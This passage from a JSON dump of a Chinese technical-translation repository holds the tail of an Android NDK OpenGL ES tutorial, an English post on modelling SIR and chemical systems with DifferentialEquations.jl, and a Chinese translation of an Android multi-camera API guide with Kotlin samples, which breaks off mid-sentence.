实例都可以获取它。我把它加入到我的渲染器中。\n\n接着，只有在窗口初始化后才能得到一个渲染器并且必须在窗口销毁的时候释放它。我使用前面提到过的 `handle_cmd` 方法来执行此操作。\n\n最后，如果有了一个渲染器（即：窗口已创建），我从 `android_app` 中获取并使其执行渲染操作。否则只是继续处理这个循环。\n\n### 总结\n\n现在你可以像在其他平台一样使用 OpenGL ES 3 了。如果你需要更多资源或教程的话，下面是一些有用的链接：\n\n*   Google 的 Android NDK 示例在本教程的编写上给了我极大的帮助：[https://github.com/googlesamples/android-ndk/](https://github.com/googlesamples/android-ndk/)\n*   本地 Activity：[https://github.com/googlesamples/android-ndk/tree/master/native-activity](https://github.com/googlesamples/android-ndk/tree/master/native-activity)\n*   CMake 是我在 Android 上使用 C++ 时首选的构建系统，可以在这里找到参考页面：[https://cmake.org/](https://cmake.org/)\n*   如果你刚开始学 CMake，或者你对以 target_include_directories 替代 include_directories 的用法不甚了解，建议你看一下 “modern” 版本的 CMake：[https://cliutils.gitlab.io/modern-cmake/](https://cliutils.gitlab.io/modern-cmake/)\n*   OpenGL ES 3 参考：[https://www.khronos.org/registry/OpenGL-Refpages/es3.0/](https://www.khronos.org/registry/OpenGL-Refpages/es3.0/)\n*   Android 上 OpenGL 的 Java 版本的教程。它以 Java 为中心，但是讨论了很多 Android 特有的问题：[https://developer.android.com/training/graphics/opengl/](https://developer.android.com/training/graphics/opengl/)\n*   NeHe 的 OpenGL 教程有点过时且侧重于较旧的 OpenGL 桌面版本。我还没找到一个比这个更好的 OpenGL 入门教程：[http://nehe.gamedev.net/](http://nehe.gamedev.net/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/getting-started-with-differentialequations-jl.md",
    "content": "> * 原文地址：[Getting started with DifferentialEquations.jl](https://matbesancon.github.io/post/2017-12-14-diffeq-julia/)\n> * 原文作者：[matbesancon](https://matbesancon.github.io)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/getting-started-with-differentialequations-jl.md](https://github.com/xitu/gold-miner/blob/master/TODO1/getting-started-with-differentialequations-jl.md)\n> * 译者：\n> * 校对者：\n\n# Getting started with DifferentialEquations.jl\n\n![](https://matbesancon.github.io/img/posts/DiffEq/Lorenz.svg)\n\n[DifferentialEquations.jl](https://github.com/JuliaDiffEq/DifferentialEquations.jl) came to be a key component of Julia’s scientific ecosystem. After checking the JuliaCon talk of its creator, I couldn’t wait to start building stuff with it, so I created and developed a simple example detailed in this blog post. Starting from a basic ordinary differential equation (ODE), we add noise, making it stochastic, and finally turn it into a discrete version.\n\n> Before running the code below, two imports will be used:\n\n```\nimport DifferentialEquations\nconst DiffEq = DifferentialEquations\nimport Plots\n```\n\nI tend to prefer explicit imports in Julia code, it helps to see from which part each function and type comes. As `DifferentialEquations` is longuish to write, we use an alias in the rest of the code.\n\n### The model\n\nWe use a simple 3-element state in a differential equation. Depending on your background, pick the interpretation you prefer:\n\n1.  An SIR model, standing for susceptible, infected, and recovered, directly inspired by the talk and by the [Gillespie.jl](https://github.com/sdwfrost/Gillespie.jl) package. We have a total population with healthy people, infected people (after they catch the disease) and recovered (after they heal from the disease).\n    \n2.  A chemical system with three components, A, B and R.\n\n![](https://i.loli.net/2018/08/21/5b7b96c0c0ea8.png)\n    \nAfter searching my memory for chemical engineering courses and the [universal source of knowledge](https://en.wikipedia.org/wiki/Autocatalysis), I could confirm the first reaction is an autocatalysis, while the second is a simple reaction. An autocatalysis means that B molecules turn A molecules into B, without being consumed.\n\nThe first example is easier to represent as a discrete problem: finite populations make more sense when talking about people. However, it can be seen as getting closer to a continuous differential equation as the number of people get higher. The second model makes more sense in a continuous version as we are dealing with concentrations of chemical components.\n\n### A first continuous model\n\nFollowing the tutorials from the [official package website](http://docs.juliadiffeq.org/latest/tutorials/ode_example.html#Example-2:-Solving-Systems-of-Equations-1), we can build our system from:\n\n*   A system of differential equations: how does the system behave (dynamically)\n*   Initial conditions: where does the system start\n*   A time span: how long do we want to observe the system\n\nThe system state can be written as:\n\n![](https://i.loli.net/2018/08/21/5b7b96f7b314f.png)\n\nWith the behavior described as:\n\n![](https://i.loli.net/2018/08/21/5b7b9714b44e1.png)\n\nIn Julia with DifferentialEquations, this becomes:\n\n```\nα = 0.8\nβ = 3.0\ndiffeq = function(du, u, p, t)\n    du[1] = - α * u[1] * u[2]\n    du[2] = α * u[1] * u[2] - β * u[2]\n    du[3] = β * u[2]\nend\nu₀ = [49.0;1.0;0.0]\ntspan = (0.0, 1.0)\n```\n\n`diffeq` models the dynamic behavior, `u₀` the starting conditions and `tspan` the time range over which we observe the system evolution. Note that the `diffeq` function also take a `p` argument for parameters, in which we could have stored α and β.\n\nWe know that our equation is smooth, so we’ll let `DifferentialEquations.jl` figure out the solver. The general API of the package is built around two steps:  \n1. Building a problem/model from behavior and initial conditions 2. Solving the problem using a solver of our choice and providing additional information on how to solve it, yielding a solution.\n\n```\nprob = DiffEq.ODEProblem(diffeq, u₀, tspan)\nsol = DiffEq.solve(prob)\n```\n\nOne very nice property of solutions produced by the package is that they contain a direct way to produce plots. This is fairly common in Julia to implement methods from other packages, here the `ODESolution` type implements Plots.plot:\n\n```\nPlots.plot(sol)\n```\n\n![Solution to the ODE](https://matbesancon.github.io/img/posts/DiffEq/smooth.png)\n\nIf we use the disease propagation example, $u₁(t)$ is the number of healthy people who haven’t been infected. It starts high, which makes the rate of infection by the diseased population moderate. As the number of sick people increases, the rate of infection increases: there are more and more possible contacts between healthy and sick people.\n\nAs the number of sick people increases, the recovery rate also increases, absorbing more sick people. So the “physics” behind the problem makes sense with what we observe on the curve.\n\nA key property to notice is the mass conservation: the sum of the three elements of the vector is constant (the total population in the health case). This makes sense from the point of view of the equations:\n\n![](https://i.loli.net/2018/08/21/5b7b981881ec9.png)\n\n### Adding randomness: first attempt with a simple SDE\n\nThe previous model works successfully, but remains naive. On small populations, the rate of contamination and recovery cannot be so smooth. What if some sick people isolate themselves from others for an hour or so, what there is a meeting organized, with higher chances of contacts? All these plausible events create different scenarios that are more or less likely to happen.\n\nTo represent this, the rate of change of the three variables of the system can be considered as composed of a deterministic part and of a random variation. One standard representation for this, as laid out in the [package documentation](http://docs.juliadiffeq.org/latest/tutorials/sde_example.html) is the following: $$ du = f(u,t) dt + ∑ gᵢ(u,t) dWᵢ $$\n\nIn our case, we could consider two points of randomness at the two interactions (one for the transition from healthy to sick, and one from sick to recovered).\n\n## Stochastic version\n\n```\nσ1 = 0.07\nσ2 = 0.4\nnoise_func = function(du, u, p, t)\n    du[1] = σ1 * u[1] * u[2]\n    du[3] = σ2 * u[2]\n    du[2] = - du[1]  - du[3]\nend\n\nstoch_prob = DiffEq.SDEProblem(diffeq, noise_func, u₀, tspan)\nsol_stoch = DiffEq.solve(stoch_prob, DiffEq.SRIW1())\n```\n\nNote that we also change the solver provided to the `solve` function to adapt to stochastic equations. The last variation is set to the opposite of the sum of the two others to compensate the two other variations (we said we had only one randomness phenomenon per state transition).\n\n![SDE](https://matbesancon.github.io/img/posts/DiffEq/sde.png)\n\nWoops, something went wrong. This time the mass conservation doesn’t hold, we finish with a population below the initial condition. What is wrong is that we don’t define the **variation** but the _gᵢ(u,t)_ function, which is then multiplied by _dWᵢ_. Since we used the function signature corresponding to the diagonal noise, there is a random component per $uᵢ$ variable.\n\n### Adding randomness: second attempt with non-diagonal noise\n\nAs explained above, we need one source of randomness for each transition. This results in a $G(u,t)$ matrix of $3 × 2$. We can then make sure that the the sum of variations for the three variables cancel out to keep a constant total population.\n\n```\nnoise_func_cons = function(du, u, p, t)\n    du[1, 1] = σ1 * u[1] * u[2]\n    du[1, 2] = 0.0\n    du[2, 1] = - σ1 * u[1] * u[2]\n    du[2, 2] = - σ2 * u[2]\n    du[3,1] = 0.0\n    du[3,2] = σ2 * u[2]\nend\nsde_cons = DiffEq.SDEProblem(\n    diffeq, noise_func_cons, u₀, tspan,\n    noise_rate_prototype=zeros(3,2)\n)\ncons_solution = DiffEq.solve(sde_cons, DiffEq.EM(), dt=1/500)\n```\n\nWe also provide a `noise_rate_prototype` parameter to the problem builder to indicate we don’t want to use a diagonal noise.\n\n![SDE](https://matbesancon.github.io/img/posts/DiffEq/sde_nondiag.png)\n\nThis time the population conservation holds, at any point in time the sum of the $uᵢ(t)$ remains 50.\n\n### Discretizing: Gillespie model\n\nThe models we produced so far represent well the chemical reaction problem, but a bit less the disease propagation. We are using continuous quantities to represent discrete populations, how do we interpret 0.6 people sick at a time?\n\nOne major strength of the package is its effortless integration of discrete phenomena in a model, alone or combined with continuous dynamics. Our model follows exactly the package tutorial on [discrete stochastic problems](http://docs.juliadiffeq.org/latest/tutorials/discrete_stochastic_example.html), so building it should be straightforward.\n\n```\ninfect_rate = DiffEq.Reaction(α, [1,2],[(1,-1),(2,1)])\nrecover_rate = DiffEq.Reaction(β, [2],[(2,-1),(3,1)])\ndisc_prob = DiffEq.GillespieProblem(\n    DiffEq.DiscreteProblem(round.(Int,u₀), tspan),\n    DiffEq.Direct(),\n    infect_rate, recover_rate,\n)\ndisc_sol = DiffEq.solve(disc_prob, DiffEq.Discrete());\n```\n\nWe define the infection and recovery rate and the variables $uᵢ$ that are affected, and call the Discrete solver. The Plots.jl integration once again yields a direct representation of the solution over the time span.\n\n![SDE](https://matbesancon.github.io/img/posts/DiffEq/discrete.png)\n\nAgain, the conservation of the total population is guaranteed by the effect of the jumps deleting one unit from a population to add it to the other.\n\n### Conclusion\n\nThe DifferentialEquations.jl package went from a good surprise to a key tool in my scientific computing toolbox. It does not require learning another embedded language but makes use of real idiomatic Julia. The interface is clean and working on edge cases does not feel hacky. I’ll be looking forward to using it in my PhD or side-hacks, especially combined to the [JuMP.jl](https://github.com/JuliaOpt/JuMP.jl) package: DifferentialEquations used to build simulations and JuMP to optimize a cost function on top of the created model.\n\nThanks for reading, get on touch on [Twitter](https://twitter.com/matbesancon) for feedback or questions ;)\n\n* * *\n\nEdits:\n\nI updated this post to fit the new DifferentialEquations.jl 4.0 syntax. Some changes are breaking the previous API, it can be worth it to check it out [in detail](http://juliadiffeq.org/2018/01/24/Parameters.html).\n\n[Chris](https://twitter.com/ChrisRackauckas), the creator and main developer of DifferentialEquations.jl, gave me valuable tips on two points which have been edited in the article. You can find the thread [here](https://twitter.com/matbesancon/status/941825252744507392).\n\n*   Import aliases should use `const PackageAlias = PackageName` for type stability. This allows the compiler to generate efficient code. Some further mentions of type-stability can be found in the [official doc](https://docs.julialang.org/en/latest/manual/performance-tips)\n*   The second attempts uses non-diagonal noise, the “:additive” hint I passed to the solve function does not hold. Furthermore, the appropriate algorithm in that case is the [Euler-Maruyama method](https://en.wikipedia.org/wiki/Euler%E2%80%93Maruyama_method).\n\nMany thanks to him for these tips, having such devoted and friendly developers is also what makes an open-source project successful.\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/getting-the-most-from-the-new-multi-camera-api.md",
    "content": "> * 原文地址：[Getting the Most from the New Multi-Camera API](https://medium.com/androiddevelopers/getting-the-most-from-the-new-multi-camera-api-5155fb3d77d9)\n> * 原文作者：[Oscar Wahltinez](https://medium.com/@owahltinez?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/getting-the-most-from-the-new-multi-camera-api.md](https://github.com/xitu/gold-miner/blob/master/TODO1/getting-the-most-from-the-new-multi-camera-api.md)\n> * 译者：[xiaxiayang](https://github.com/xiaxiayang)\n> * 校对者：[PrinceChou](https://github.com/PrinceChou)\n\n# 充分利用多摄像头 API\n\n这篇博客是对我们的 [Android 开发者峰会 2018 演讲](https://youtu.be/u38wOv2a_dA) 的补充，是与来自合作伙伴开发者团队中的 Vinit Modi、Android Camera PM 和 Emilie Roberts 合作完成的。查看我们之前在该系列中的文章，包括 [相机枚举](https://medium.com/androiddevelopers/camera-enumeration-on-android-9a053b910cb5)、[相机拍摄会话和请求](https://medium.com/androiddevelopers/understanding-android-camera-capture-sessions-and-requests-4e54d9150295) 和 [同时使用多个摄像机流](https://medium.com/androiddevelopers/using-multiple-camera-streams-simultaneously-bf9488a29482)。\n\n### 多摄像头用例\n\n多摄像头是在 [Android Pie](https://developer.android.com/about/versions/pie/android-9.0#camera) 中引入的，自几个月前发布以来，现现在已有多个支持该 API 的设备进入了市场，比如谷歌 Pixel 3 和华为 Mate 20 系列。许多多摄像头用例与特定的硬件配置紧密结合；换句话说，并非所有的用例都适配每台设备 — 这使得多摄像头功能成为模块 [动态传输](https://developer.android.com/studio/projects/dynamic-delivery) 的一个理想选择。一些典型的用例包括：\n\n*   缩放：根据裁剪区域或所需焦距在相机之间切换\n*   深度：使用多个摄像头构建深度图\n*   背景虚化：使用推论的深度信息来模拟类似 DSLR（digital single-lens reflex camera）的窄焦距范围\n\n### 逻辑和物理摄像头\n\n要了解多摄像头 API，我们必须首先了解逻辑摄像头和物理摄像头之间的区别；这个概念最好用一个例子来说明。例如，我们可以想像一个有三个后置摄像头而没有前置摄像头的设备。在本例中，三个后置摄像头中的每一个都被认为是一个物理摄像头。然后逻辑摄像头就是两个或更多这些物理摄像头的分组。逻辑摄像头的输出可以是来自其中一个底层物理摄像机的一个流，也可以是同时来自多个底层物理摄像机的融合流；这两种方式都是由相机的 HAL（Hardware Abstraction Layer）来处理的。\n\n许多手机制造商也开发了他们自身的相机应用程序（通常预先安装在他们的设备上）。为了利用所有硬件的功能，他们有时会使用私有或隐藏的 API，或者从驱动程序实现中获得其他应用程序没有特权访问的特殊处理。有些设备甚至通过提供来自不同物理双摄像头的融合流来实现逻辑摄像头的概念，但同样，这只对某些特权应用程序可用。通常，框架只会暴露一个物理摄像头。Android Pie 之前第三方开发者的情况如下图所示：\n\n![](https://cdn-images-1.medium.com/max/800/0*jHgc12zW0MnFXf8V)\n\n相机功能通常只对特权应用程序可用\n\n从 Android Pie 开始，一些事情发生了变化。首先，在 Android 应用程序中使用 [私有 API 不再可行](https://developer.android.com/about/versions/pie/restrictions-non-sdk-interfaces)。其次，Android 框架中包含了 [多摄像头支持](https://source.android.com/devices/camera/multi-camera)，Android 已经 [强烈推荐](https://source.android.com/compatibility/android-cdd#7_5_4_camera_api_behavior) 手机厂商为面向同一方向的所有物理摄像头提供逻辑摄像头。因此，这是第三方开发人员应该在运行 Android Pie 及以上版本的设备上看到的内容：\n\n![](https://cdn-images-1.medium.com/max/800/0*xnN-9_1XtmuWq-Lx)\n\n开发人员可完全访问从 Android P 开始的所有摄像头设备\n\n值得注意的是，逻辑摄像头提供的功能完全依赖于相机 HAL 的 OEM 实现。例如，像 Pixel 3 是根据请求的焦距和裁剪区域选择其中一个物理摄像头，用于实现其逻辑相机。\n\n### 多摄像头 API\n\n新 API 包含了以下新的常量、类和方法：\n\n*   `CameraMetadata.REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA`\n*   `CameraCharacteristics.getPhysicalCameraIds()`\n*   `CameraCharacteristics.getAvailablePhysicalCameraRequestKeys()`\n*   `CameraDevice.createCaptureSession(SessionConfiguration config)`\n*   `CameraCharactersitics.LOGICAL_MULTI_CAMERA_SENSOR_SYNC_TYPE`\n*   `OutputConfiguration` & `SessionConfiguration`\n\n由于 [Android CDD](https://source.android.com/compatibility/android-cdd#7_5_4_camera_api_behavior) 的更改，多摄像头 API 也满足了开发人员的某些期望。双摄像头设备在 Android Pie 之前就已经存在，但同时打开多个摄像头需要反复试验；Android 上的多摄像头 API 现在给了我们一组规则，告诉我们什么时候可以打开一对物理摄像头，只要它们是同一逻辑摄像头的一部分。\n\n如上所述，我们可以预期，在大多数情况下，使用 Android Pie 发布的新设备将公开所有物理摄像头(除了更奇特的传感器类型，如红外线)，以及更容易使用的逻辑摄像头。此外，非常关键的是，我们可以预期，对于每个保证有效的融合流，属于逻辑摄像头的一个流可以被来自底层物理摄像头的**两个**流替换。让我们通过一个例子更详细地介绍它。\n\n### 同时使用多个流\n\n在上一篇博文中，我们详细介绍了在单个摄像头中 [同时使用多个流](https://medium.com/androiddevelopers/using-multiple-camera-streams-simultaneously-bf9488a29482) 的规则。同样的规则也适用于多个摄像头，但在 [这个文档](https://developer.android.com/reference/android/hardware/camera2/CameraMetadata#REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA) 中有一个值得注意的补充说明：\n\n> 对于每个有保证的融合流，逻辑摄像头都支持将一个逻辑 [YUV_420_888](https://developer.android.com/reference/android/graphics/ImageFormat.html#YUV_420_888) 或原始流替换为两个相同大小和格式的物理流，每个物理流都来自一个单独的物理摄像头，前提是两个物理摄像头都支持给定的大小和格式。\n\n换句话说，YUV 或 RAW 类型的每个流可以用相同类型和大小的两个流替换。例如，我们可以从单摄像头设备的摄像头视频流开始，配置如下:\n\n*   流 1：YUV 类型，`id = 0` 的逻辑摄像机的最大尺寸\n\n然后，一个支持多摄像头的设备将允许我们创建一个会话，用两个物理流替换逻辑 YUV 流：\n\n*   流 1：YUV 类型，`id = 1` 的物理摄像头的最大尺寸\n*   流 2：YUV 类型，`id = 2` 的物理摄像头的最大尺寸\n\n诀窍是，当且仅当这两个摄像头是一个逻辑摄像头分组的一部分时，我们可以用两个等效的流替换 YUV 或原始流 — 即被列在 [CameraCharacteristics.getPhysicalCameraIds()](https://developer.android.com/reference/android/hardware/camera2/CameraCharacteristics#getPhysicalCameraIds%28%29) 中的。\n\n另一件需要考虑的事情是，框架提供的保证仅仅是同时从多个物理摄像头获取帧的最低要求。我们可以期望在大多数设备中支持额外的流，有时甚至允许我们独立地打开多个物理摄像头设备。不幸的是，由于这不是框架的硬性保证，因此需要我们通过反复试验来执行每个设备的测试和调优。\n\n### 使用多个物理摄像头创建会话\n\n当我们在一个支持多摄像头的设备中与物理摄像头交互时，我们应该打开一个 [CameraDevice](https://developer.android.com/reference/android/hardware/camera2/CameraDevice)（逻辑相机），并在一个会话中与它交互，这个会话必须使用 API  [CameraDevice.createCaptureSession(SessionConfiguration config)](https://developer.android.com/reference/android/hardware/camera2/CameraDevice#createCaptureSession%28android.hardware.camera2.params.SessionConfiguration%29) 创建，这个 API 自 SDK 级别 28 起可用。然后，这个 [会话参数](https://developer.android.com/reference/android/hardware/camera2/params/SessionConfiguration) 将有很多 [输出配置](https://developer.android.com/reference/android/hardware/camera2/params/OutputConfiguration)，其中每个输出配置将具有一组输出目标，以及（可选的）所需的物理摄像头 ID。\n\n![](https://cdn-images-1.medium.com/max/800/0*OY88erAolXSr5bA9)\n\n会话参数和输出配置模型\n\n稍后，当我们分派拍摄请求时，该请求将具有与其关联的输出目标。框架将根据附加到请求的输出目标来决定将请求发送到哪个物理（或逻辑）摄像头。如果输出目标对应于作为 [输出配置](https://developer.android.com/reference/android/hardware/camera2/params/OutputConfiguration) 的输出目标之一和物理摄像头 ID 一起发送，那么该物理摄像头将接收并处理该请求。\n\n### 使用一对物理摄像头\n\n面向开发人员的多摄像头 API 中最重要的一个新增功能是识别逻辑摄像头并找到它们背后的物理摄像头。现在我们明白,我们可以同时打开多个物理摄像头（再次，通过打开逻辑摄像头和作为同一会话的一部分），并且有明确的融合流的规则，我们可以定义一个函数来帮助我们识别潜在的可以用来替换一个逻辑摄像机视频流的一对物理摄像头：\n\n```\n/**\n* 帮助类，用于封装逻辑摄像头和两个底层\n* 物理摄像头\n*/\ndata class DualCamera(val logicalId: String, val physicalId1: String, val physicalId2: String)\n\nfun findDualCameras(manager: CameraManager, facing: Int? = null): Array<DualCamera> {\n    val dualCameras = ArrayList<DualCamera>()\n\n    // 遍历所有可用的摄像头特征\n    manager.cameraIdList.map {\n        Pair(manager.getCameraCharacteristics(it), it)\n    }.filter {\n        // 通过摄像头的方向这个请求参数进行过滤\n        facing == null || it.first.get(CameraCharacteristics.LENS_FACING) == facing\n    }.filter {\n        // 逻辑摄像头过滤\n        it.first.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES)!!.contains(\n                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA)\n    }.forEach {\n        // 物理摄像头列表中的所有可能对都是有效结果\n        // 注意：可能有 N 个物理摄像头作为逻辑摄像头分组的一部分\n        val physicalCameras = it.first.physicalCameraIds.toTypedArray()\n        for (idx1 in 0 until physicalCameras.size) {\n            for (idx2 in (idx1 + 1) until physicalCameras.size) {\n                dualCameras.add(DualCamera(\n                        it.second, physicalCameras[idx1], physicalCameras[idx2]))\n            }\n        }\n    }\n\n    return dualCameras.toTypedArray()\n}\n```\n\n物理摄像头的状态处理由逻辑摄像头控制。因此，要打开我们的“双摄像头”，我们只需要打开与我们感兴趣的物理摄像头相对应的逻辑摄像头：\n\n```\nfun openDualCamera(cameraManager: CameraManager,\n                   dualCamera: DualCamera,\n                   executor: Executor = AsyncTask.SERIAL_EXECUTOR,\n                   callback: (CameraDevice) -> Unit) {\n\n    cameraManager.openCamera(\n            dualCamera.logicalId, executor, object : CameraDevice.StateCallback() {\n        override fun onOpened(device: CameraDevice) = callback(device)\n        // 为了简便起见，我们省略...\n        override fun onError(device: CameraDevice, error: Int) = onDisconnected(device)\n        override fun onDisconnected(device: CameraDevice) = device.close()\n    })\n}\n```\n\n在此之前，除了选择打开哪台摄像头之外，没有什么不同于我们过去打开任何其他摄像头所做的事情。现在是时候使用新的 [会话参数](https://developer.android.com/reference/android/hardware/camera2/params/SessionConfiguration) API 创建一个拍摄会话了，这样我们就可以告诉框架将某些目标与特定的物理摄像机 ID 关联起来：\n\n```\n/**\n * 帮助类，封装了定义 3 组输出目标的类型：\n *\n *   1. 逻辑摄像头\n *   2. 第一个物理摄像头\n *   3. 第二个物理摄像头\n */\ntypealias DualCameraOutputs =\n        Triple<MutableList<Surface>?, MutableList<Surface>?, MutableList<Surface>?>\n\nfun createDualCameraSession(cameraManager: CameraManager,\n                            dualCamera: DualCamera,\n                            targets: DualCameraOutputs,\n                            executor: Executor = AsyncTask.SERIAL_EXECUTOR,\n                            callback: (CameraCaptureSession) -> Unit) {\n\n    // 创建三组输出配置：一组用于逻辑摄像头，\n    // 另一组用于逻辑摄像头。\n    val outputConfigsLogical = targets.first?.map { OutputConfiguration(it) }\n    val outputConfigsPhysical1 = targets.second?.map {\n        OutputConfiguration(it).apply { setPhysicalCameraId(dualCamera.physicalId1) } }\n    val outputConfigsPhysical2 = targets.third?.map {\n        OutputConfiguration(it).apply { setPhysicalCameraId(dualCamera.physicalId2) } }\n\n    // 将所有输出配置放入单个数组中\n    val outputConfigsAll = arrayOf(\n            outputConfigsLogical, outputConfigsPhysical1, outputConfigsPhysical2)\n            .filterNotNull().flatMap { it }\n\n    // 实例化可用于创建会话的会话配置\n    val sessionConfiguration = SessionConfiguration(SessionConfiguration.SESSION_REGULAR,\n            outputConfigsAll, executor, object : CameraCaptureSession.StateCallback() {\n        override fun onConfigured(session: CameraCaptureSession) = callback(session)\n        // 省略...\n        override fun onConfigureFailed(session: CameraCaptureSession) = session.device.close()\n    })\n\n    // 使用前面定义的函数打开逻辑摄像头\n    openDualCamera(cameraManager, dualCamera, executor = executor) {\n\n        // 最后创建会话并通过回调返回\n        it.createCaptureSession(sessionConfiguration)\n    }\n}\n```\n\n现在，我们可以参考 [文档](https://developer.android.com/reference/android/hardware/camera2/CameraDevice.html#createCaptureSession%28android.hardware.camera2.params.SessionConfiguration%29) 或 [以前的博客文章](https://medium.com/androiddevelopers/using-multiple-camera-streams-simultaneously-bf9488a29482) 来了解支持哪些流的融合。我们只需要记住这些是针对单个逻辑摄像头上的多个流的，并且兼容使用相同的配置的并将其中一个流替换为来自同一逻辑摄像头的两个物理摄像头的两个流。\n\n在 [摄像头会话](https://developer.android.com/reference/android/hardware/camera2/CameraCaptureSession) 就绪后，剩下要做的就是发送我们想要的 [拍摄请求](https://developer.android.com/reference/android/hardware/camera2/CaptureRequest)。拍摄请求的每个目标将从相关的物理摄像头（如果有的话）接收数据，或者返回到逻辑摄像头。\n\n### 缩放示例用例\n\n为了将所有这一切与最初讨论的用例之一联系起来，让我们看看如何在我们的相机应用程序中实现一个功能，以便用户能够在不同的物理摄像头之间切换，体验到不同的视野——有效地拍摄不同的“缩放级别”。\n\n![](https://cdn-images-1.medium.com/max/800/0*WaZN9bicOXI4mpUp)\n\n将相机转换为缩放级别用例的示例（来自 [Pixel 3 Ad](https://www.youtube.com/watch?v=gJtJFEH1Cis)）\n\n首先，我们必须选择我们想允许用户在其中进行切换的一对物理摄像机。为了获得最大的效果，我们可以分别搜索提供最小焦距和最大焦距的一对摄像机。通过这种方式，我们选择一种可以在尽可能短的距离上对焦的摄像设备，另一种可以在尽可能远的点上对焦：\n\n```\nfun findShortLongCameraPair(manager: CameraManager, facing: Int? = null): DualCamera? {\n\n    return findDualCameras(manager, facing).map {\n        val characteristics1 = manager.getCameraCharacteristics(it.physicalId1)\n        val characteristics2 = manager.getCameraCharacteristics(it.physicalId2)\n\n        // 查询每个物理摄像头公布的焦距\n        val focalLengths1 = characteristics1.get(\n                CameraCharacteristics.LENS_INFO_AVAILABLE_FOCAL_LENGTHS) ?: floatArrayOf(0F)\n        val focalLengths2 = characteristics2.get(\n                CameraCharacteristics.LENS_INFO_AVAILABLE_FOCAL_LENGTHS) ?: floatArrayOf(0F)\n\n        // 计算相机之间最小焦距和最大焦距之间的最大差异\n        val focalLengthsDiff1 = focalLengths2.max()!! - focalLengths1.min()!!\n        val focalLengthsDiff2 = focalLengths1.max()!! - focalLengths2.min()!!\n\n        // 返回相机 ID 和最小焦距与最大焦距之间的差值\n        if (focalLengthsDiff1 < focalLengthsDiff2) {\n            Pair(DualCamera(it.logicalId, it.physicalId1, it.physicalId2), focalLengthsDiff1)\n        } else {\n            Pair(DualCamera(it.logicalId, it.physicalId2, it.physicalId1), focalLengthsDiff2)\n        }\n\n        // 只返回差异最大的对，如果没有找到对，则返回 null\n    }.sortedBy { it.second }.reversed().lastOrNull()?.first\n}\n```\n\n一个合理的架构应该是有两个 [SurfaceViews](https://developer.android.com/reference/android/view/SurfaceView)，每个流一个，在用户交互时交换，因此在任何给定的时间只有一个是可见的。在下面的代码片段中，我们将演示如何打开逻辑摄像头、配置摄像头输出、创建摄像头会话和启动两个预览流；利用前面定义的功能:\n\n```\nval cameraManager: CameraManager = ...\n\n// 从 activity/fragment 中获取两个输出目标\nval surface1 = ...  // 来自 SurfaceView\nval surface2 = ...  // 来自 SurfaceView\n\nval dualCamera = findShortLongCameraPair(manager)!!\nval outputTargets = DualCameraOutputs(\n        null, mutableListOf(surface1), mutableListOf(surface2))\n\n// 在这里，我们打开逻辑摄像头，配置输出并创建一个会话\ncreateDualCameraSession(manager, dualCamera, targets = outputTargets) { session ->\n\n    // 为每个物理相头创建一个目标的单一请求\n    // 注意：每个目标只会从它相关的物理相头接收帧\n    val requestTemplate = CameraDevice.TEMPLATE_PREVIEW\n    val captureRequest = session.device.createCaptureRequest(requestTemplate).apply {\n        arrayOf(surface1, surface2).forEach { addTarget(it) }\n    }.build()\n\n    // 设置会话的粘性请求，就完成了\n    session.setRepeatingRequest(captureRequest, null, null)\n}\n```\n\n现在我们需要做的就是为用户提供一个在两个界面之间切换的 UI，比如一个按钮或者双击 “SurfaceView”；如果我们想变得更有趣，我们可以尝试执行某种形式的场景分析，并在两个流之间自动切换。\n\n### 镜头失真\n\n所有的镜头都会产生一定的失真。在 Android 中，我们可以使用 [CameraCharacteristics.LENS_DISTORTION](https://developer.android.com/reference/android/hardware/camera2/CameraCharacteristics#LENS_DISTORTION)（它替换了现在已经废弃的 